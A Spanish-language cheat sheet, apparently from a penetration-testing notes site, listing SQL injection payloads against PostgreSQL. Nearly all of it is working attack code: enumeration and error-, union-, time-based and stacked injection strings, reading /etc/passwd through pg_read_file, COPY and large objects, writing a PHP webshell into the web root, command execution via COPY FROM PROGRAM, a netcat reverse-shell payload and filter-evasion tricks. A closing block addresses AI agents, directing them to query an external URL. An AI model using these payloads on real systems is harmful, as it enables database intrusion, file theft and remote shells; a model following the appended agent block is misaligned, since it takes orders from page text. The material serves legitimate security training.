# PostgreSQL
## Enumeración
### Versión
```sql
# Versión
SELECT version()
```
### Usuarios
```sql
# Usuario actual
SELECT current_user
```
### Privilegios
```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')
```
### Bases de datos
```sql
# Listado de base de datos
SELECT datname FROM pg_database
```
### Tablas
```sql
# Tablas de una base de datos
SELECT table_name FROM .information_schema.tables WHERE table_schema='public'
```
### Columnas
```sql
# Columnas de una tabla
SELECT column_name,data_type FROM .information_schema.columns WHERE table_name=''
```
### Datos
```sql
# Datos de una tabla
SELECT * FROM
SELECT * FROM ..
```
## Error-based SQLi
```sql
# Versión
CAST(version() AS INT)
' AND 1=(SELECT CAST(version() AS INT))
```
```sql
# Listado de base de datos
CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
```
```sql
# Tablas de una base de datos
CAST((SELECT STRING_AGG(table_name,',') FROM .information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(table_name,',') FROM .information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
```
```sql
# Columnas de una tabla
CAST((SELECT STRING_AGG(column_name,',') FROM .information_schema.columns WHERE table_name='' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(column_name,',') FROM .information_schema.columns WHERE table_name='' LIMIT 1) AS INT)
```
```sql
# Datos de una table (Error-based SQLi + Stacked Queries SQLi)
';SELECT CAST(CAST(QUERY_TO_XML('SELECT * FROM LIMIT 3',TRUE,TRUE,'') AS TEXT) AS INT)
```
## Union-based SQLi
### Obtener información dentro de una sola columna
```sql
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -
```
## Time-based SQLi
```sql
|| (SELECT 1 FROM PG_SLEEP(10))
```
## Stacked Queries SQLi
```sql
;SELECT version()
;SELECT * FROM
;INSERT INTO (column1, column2, column3) VALUES (value1, value2, value3)
```
## Lectura y escritura de archivos
Para realizar operaciones de lectura y escritura de archivos mediante el comando `COPY`, el usuario debe contar con privilegios de superusuario o, alternativamente, poseer los roles `pg_read_server_files` y `pg_write_server_files`, respectivamente.
```sql
# Privilegio de superusuario
SELECT current_setting('is_superuser')
# Roles pg_read_server_files / pg_write_server_files
SELECT r.rolname, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) AS memberof FROM pg_catalog.pg_roles r WHERE r.rolname='fileuser';
```
### Lectura
```sql
SELECT pg_read_file('/etc/passwd')
```
```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```
Un inconveniente al usar el comando `COPY` para leer archivos es que espera que los datos estén separados por columnas, usando por defecto el carácter de tabulación `\t` como delimitador. Sin embargo, se puede cambiar este delimitador por otro carácter poco común, como `\x07`, para evitar errores durante la lectura.
```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;
```
#### Lectura con Large Objects
```sql
# Carga de archivo
SELECT lo_import('/etc/passwd');
# Obtener todos los object IDs
SELECT DISTINCT loid FROM pg_largeobject;
# Lectura de archivo
## Opción 1
SELECT lo_get();
## Opción 2
SELECT data FROM pg_largeobject WHERE loid= AND pageno=0;
SELECT data FROM pg_largeobject WHERE loid= AND pageno=1;
## Conversión de hexadecimal
echo | xxd -r -p
```
### Escritura
```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';
DROP TABLE tmp;
```
#### Webshell
```sql
CREATE TABLE tmp(data TEXT);
INSERT INTO tmp(data) VALUES ('');
COPY tmp(data) TO '/var/www/html/webshell.php';
```
#### Escritura con Large Objects
```bash
split -b 2048 /etc/passwd
xxd -ps -c 9999999999 xaa
xxd -ps -c 9999999999 xab
```
```sql
SELECT lo_create(1337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, DECODE('','HEX'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, DECODE('','HEX'));
SELECT lo_export(1337, '/tmp/passwd');
SELECT lo_unlink(1337);
cat /tmp/passwd
```
## Remote Code Execution (RCE)
Para usar COPY con ejecución de comandos, el usuario debe contar con privilegios de superusuario o tener el rol `pg_execute_server_program`.
```sql
CREATE TABLE tmp(data TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;
```
### Reverse shell
Ejecución de Netcat en máquina atacante en modo escucha.
```sh
nc -lvnp
```
Ejecución de reverse shell.
```sql
;CREATE TABLE revshell(data TEXT); COPY revshell FROM PROGRAM 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f';SELECT * FROM revshell; DROP TABLE revshell;-- -
```
## Evasión de filtros
### Bypass de filtro de espacio
Usar `/**/` en lugar de espacio.
```sql
' AND 1=1-- -
'/**/AND/**/1=1-- -
```
### Bypass de filtro de comillas simples (single quotes)
En PostgreSQL los dos signos de dólar `$$` se utilizan para delimitar cadenas de texto.
```sql
' UNION SELECT '1','2','3'-- -
' UNION SELECT $$1$$,$$2$$,$$3$$-- -
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://web.mrw0l05zyn.cl/explotacion/sql-injection-sqli/postgresql.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.